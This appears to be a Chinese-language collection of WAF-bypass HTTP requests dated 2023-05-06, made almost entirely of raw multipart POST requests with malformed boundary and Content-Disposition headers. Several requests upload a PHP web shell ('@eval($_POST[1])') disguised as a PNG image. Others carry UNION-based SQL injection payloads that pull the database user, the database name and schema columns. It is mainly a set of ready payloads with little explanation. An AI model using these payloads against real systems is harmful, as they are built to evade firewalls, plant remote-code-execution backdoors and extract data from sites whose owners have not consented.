2023-05-06

WAF 绕过1

```
POST /upload/upload_file.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 218
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFwi8htMcgkEhqGGw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

id=
------WebKitFormBoundaryFwi8htMcgkEhqGGw
Content-Disposition: form-data; name="file"; filename="11.php"
Content-Type: image/png

<?php
phpinfo();
@eval($_POST[1])
------WebKitFormBoundaryFwi8htMcgkEhqGGw--
```

SQL注入

```
POST /1.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 277
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFwi8htMcgkEhqGGw
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
```

```
id=1
------WebKitFormBoundaryFwi8htMcgkEhqGGw
Content-Disposition: form-data; name="file";

1 and 1=2 union select 1,2,(select column_name from information_schema.columns where
TABLE_SCHEMA='dvwa' and TABLE_NAME='users' LIMIT 1)
------WebKitFormBoundaryFwi8htMcgkEhqGGw--
```

WAF绕过2

```
POST /upload/upload_file.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=boundary=boundary
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

--boundary=boundary
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: image/png

<?php
@eval($_POST[1]);
--boundary=boundary
```

WAF 绕过3

```
POST /post_sql.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 242
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
```

```
Content-Type: multipart/form-data; boundary=a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

--a
Content-Disposition: form-data; name="username";
Content-Type: image/png

--a
Content-Disposition: form-data; name="username"; filename="1111.php"
Content-Type: image/png

1' union select 1,database(),3,4,5,6,user(),8 --
--a--
```

WAF绕过4

```
POST /upload/upload_file.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 145
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=--;;--
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

----
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: image/png


<?php @eval($_POST[1]);
phpinfo();
```

```
-----
```

WAF 绕过5

```
POST /upload/upload_file.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=bbbbbb,a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

--bbbbbb
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: image/png

<?php
@eval($_POST[1]);
phpinfo();
--bbbbbb--
```

```
POST /upload/upload_file.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 142
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=,
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
```

```
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

--
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: image/png

<?php
@eval($_POST[1]);
phpinfo();
----
```

WAF 绕过6

```
POST /1.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 199
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

--a
Content-Disposition: form-data; name="username";
Content-Disposition: form-data; name="username"; filename="a.png"
Content-Type: image/png

1' union select 1,user(),34,8,8,8,9,9 --
--a--
```

WAF 绕过7

```
POST /1.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 200
```

```
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

--a
Content-Disposition : form-data; name="username"; filename="a.png"
Content-Disposition: form-data; name="username";
Content-Type: image/png

1' union select 1,user(),34,8,8,8,9,9 --
--a--
```

```
POST /1.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 176
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

--a
Content-    Disposition: form-data; name    ="username"; filename="a.png"
Content-Disposition: form-data; name="username";

1' union select 1,user(),34,8,8,8,9,9 --
--a--
```

WAF 绕过8

```
```

```
POST /1.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 149
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data;=c;boundary=b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


--b
Content-Disposition: form-data; name='username'f"; filename="1111.php"
Content-Type: image/png

1' union select 1,2,3,user() --
--b--
```

SQL 注入9

```
POST /post_sql.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 148
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data;boundary='
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


--'
Content-Disposition: form-data; name="username";
Content-Type: image/png
```

```
--'  and 1=2 union select 1,user(),3,4,5,user(),7,8 --
--'--
```

```
POST /33.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 125
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data;boundary='
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.68
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


--'
Content-Disposition: form-data; name="file"; filename="11.php"
Content-Type: image/png

<?php phpinfo();?>
--'--
```